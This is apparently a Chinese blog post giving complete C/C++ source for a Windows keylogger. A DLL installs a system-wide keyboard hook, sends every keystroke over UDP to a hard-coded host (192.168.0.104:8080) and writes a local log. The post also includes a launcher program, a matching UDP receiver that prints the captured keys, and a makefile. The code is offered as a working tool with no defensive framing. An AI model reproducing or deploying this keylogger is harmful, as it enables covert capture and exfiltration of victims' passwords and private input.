写一个钩子,控制远程主机按键


dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

HMODULE hHookDll;// 定义一个全局的HMODULE供SetWindowsHookEx函数使用

BOOL APIENTRY DllMain( HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	hHookDll = hModule;

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}



hookdll.cpp

// hokdll.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "pub.h"
#include <stdio.h>

/*dll使用说明
第一步:将hookdll.h和hookdll.lib加入到项目中
第二部:在项目cpp文件中加入
#include "hookdll.h"
#pragma comment(lib, "hookdll.lib")

第三步:在程序开始执行的时候调用
InstallLaunchEv()

第四步:程序常驻内存

第五步:程序退出的时候调用
UnInstallLaunchEv()

第六步:将hookdll.dll拷贝到项目编译后的可执行文件目录下
*/

HHOOK Hook;

LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);

void strerror(DWORD errno);
void savelog(const char *s);
void send_udp(const char *s);

extern HMODULE hHookDll;

__declspec(dllexport) void WINAPI UnInstallLaunchEv()// dll的导出函数
{
	UnhookWindowsHookEx(Hook);
}


__declspec(dllexport) void WINAPI InstallLaunchEv()// dll的导出函数
{
	//HMODULE hHookDll = LoadLibrary("hookdll");// 得到dll的模块句柄

	// Install keyboard hook to trap all keyboard messages
	Hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, hHookDll, 0);// 为系统安装
	if (Hook == NULL)
	{
		strerror(GetLastError());
	}
}


LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	LRESULT Result = CallNextHookEx(Hook, nCode, wParam, lParam);

	if (nCode == HC_ACTION)
	{
		char buf[100];
		memset(buf, 0, sizeof(buf));
		sprintf(buf, "%u", wParam); // 参数wParam为键盘扫描码
		send_udp(buf);// 向远程主机发送udp消息

		memset(buf, 0, sizeof(buf));
		sprintf(buf, "%x\t%c\t%08x\n", wParam, wParam, lParam);// 将参数wParam,lParam值写到本地log
		savelog(buf); // 发送后写日志
	}
	return Result;
}

void send_udp(const char *s) // 想目标主机发送消息
{
	init_socket(); // 初始化socket
	SOCKET st = create_send_socket();
	send_work(st, "192.168.0.104", 8080, s);
	close_socket(st);
}

void savelog(const char *s)// 向D盘目录下的my.log文件写log信息
{
	FILE *p = fopen("E:\\my.log", "a+");// 在d盘目录下生成my.log文件
	fputs(s, p);
	fclose(p);
}

void strerror(DWORD errno)// 根据GetLastError()返回值,将错误信息转化为中文,写入my.log文件
{
	void *lpMsgBuf;
	FormatMessageA(
		FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_FROM_SYSTEM |
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		errno,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(char *)&lpMsgBuf,
		0,
		NULL
		);
	savelog((const char *)lpMsgBuf);
	LocalFree(lpMsgBuf);
}

pub.h

#include <WinSock2.h>

int init_socket();// 初始化socket

int send_work(SOCKET st, const char *hostname, int port, const char *s);// 想hostname指定

void close_socket(SOCKET st);

SOCKET create_send_socket(); // 建立发送数据的udp socket

pub.cpp

#include "stdafx.h"
#include <stdio.h>
#include "pub.h"

#pragma comment(lib, "Ws2_32.lib")

int init_socket()// 初始化socket
{
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(1, 1);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		return -1;
	}

	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
		WSACleanup();
		return -1;
	}
	return 0;
}

void close_socket(SOCKET st)
{
	closesocket(st);
	WSACleanup();
}

SOCKET create_send_socket() // 建立发送数据的udp socket
{
	SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);// 建立UDP socket
	if (st == 0)
	{
		return 0;// 如果建立socket失败,返回0
	}
	return st;// udp socket建立成功,返回socket描述符
}

int send_work(SOCKET st, const char *hostname, int port, const char *s)// 想hostname指定
{
	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port); // 指定port为要连接的端口号
	addr.sin_addr.s_addr = inet_addr(hostname);// 指定hostname为要连接的IP地址

	size_t rc = sendto(st, s, strlen(s), 0,
		(struct sockaddr *)&addr, sizeof(addr));// 想指定的IP发送消息
	return rc;
}

然后是建立一个win32引用程序来执行该钩子

testdll.cpp

// testdll.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "testdll.h"
#include "hookdll.h"

#pragma comment(lib, "hookdll.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,
	HINSTANCE hPrevInstance,
	LPTSTR    lpCmdLine,
	int       nCmdShow)
{
	InstallLaunchEv();
	::Sleep(300000);
	UnInstallLaunchEv();
	return 0;
}
hookdll.h

#ifdef __CPLUSPLUS
extern "C" {
#endif
	void WINAPI UnInstallLaunchEv();
	void WINAPI InstallLaunchEv();
#ifdef __CPLUSPLUS
}
#endif

唯一需要注意的是,如果操作系统是64位的,一定要编译64为的才能用,否则会出问题,我一开始就是老出问题,后来发现是这个原因

远程服务端需要注意的是编写的时候不要向Linux那样,因为他和Window是有区别的,还有就是这里钩子发送的是UDP消息,接受时候也要用UDP消息,我这边在本机上给本机发送的测试成功,还没有测在公网上的情况呢

下面是服务端代码

#ifdef WIN
#include <WinSock2.h>
#else
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#define SOCKET int
#endif

#include <stdio.h>

#define BUFSIZE 5 //1024 * 256

int init_socket()
{
// 如果是windows,执行如下代码
#ifdef WIN
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;
    wVersionRequested = MAKEWORD(1, 1);
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0)
    {
        return -1;
    }

    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
        WSACleanup();
        return -1;
    }
#endif
    return 0;
}

SOCKET create_recv_socket(int port)
{
	if (init_socket() == -1)
	        return 0;
    SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);// 建立UDP socket
    if (st == 0)
        return 0;

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if (bind(st, (struct sockaddr*)&addr, sizeof(addr)) == -1)
    {
        printf("bind failed %s\n", strerror(errno));
        return 0;
    }
    return st;// udp
}

// server端socket在port指定的断口上listen,接收来自client发送的文件
int recv_work(int port)
{

    SOCKET st_recv = create_recv_socket(port);// 建立接受数据的UDP Socket

    if (st_recv == 0) // 建立失败,函数返回
    {
        return 0;
    }

    char *buf = malloc(BUFSIZE);

#ifdef WIN
    int len = 0;
#else
    unsigned int len = 1;
#endif

    struct sockaddr_in client_addr;
    len = sizeof(client_addr);
    memset(&client_addr, 0, sizeof(client_addr));
    while (1)
    {
        memset(buf, 0, BUFSIZE);
        // 接收来自client的数据,客户端第一次发送的文件名
        printf("recvfrom start\n");
        size_t rc = recvfrom(st_recv, buf, BUFSIZE, 0, (struct sockaddr *)&client_addr, &len);
        printf("recvfrom end\n");
        if (rc <= 0)
        {
            printf("recv failed %s\n", strerror(errno));
        }
        else
        {
        	int tmp = atoi(buf);
        	printf("receiving %c\n", tmp);
        }
    }


    free(buf);
#ifdef WIN
    closesocket(st_recv);
    WSACleanup();
#else
    close(st_recv);
#endif
    return 1;
}


int main(int arg, char *args[])
{
    if (arg < 2)// 如果参数小于3个,main函数退出
    {
        printf("usage:server port\n");
        return EXIT_FAILURE;
    }

    int iport = atoi(args[1]);// 将第二个参数转化为端口号
    if (iport == 0)// 如果端口号为0,main函数退出
    {
        printf("port %d is invalid\n", iport);
        return EXIT_FAILURE;
    }

    printf("recv is begin\n");
    if (recv_work(iport) == 1)// 第一个参数为IP地址,第二个参数为端口号,第三个参数为需要发送的文件名
        printf("recv success\n");
    else
        printf("recv fail\n");
    return EXIT_FAILURE;
}
windows下的makefile文件,注意和Linux下的写法有不同地方

.SUFFIXES:.c .o
CC=gcc
SERVERSRCS=abc.c
SERVEROBJS=$(SERVERSRCS:.c=.o)
SERVEREXEC=abc.exe

all: $(SERVEROBJS) $(CLIENTOBJS)
	$(CC) -static -o $(SERVEREXEC) $(SERVEROBJS) -lWs2_32
	@echo '----------------ok----------------'
.c.o:
	$(CC) -Wall -DWIN -o $@ -c $<
clean:
	rm -f $(SERVEROBJS)
	rm -f core* 



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值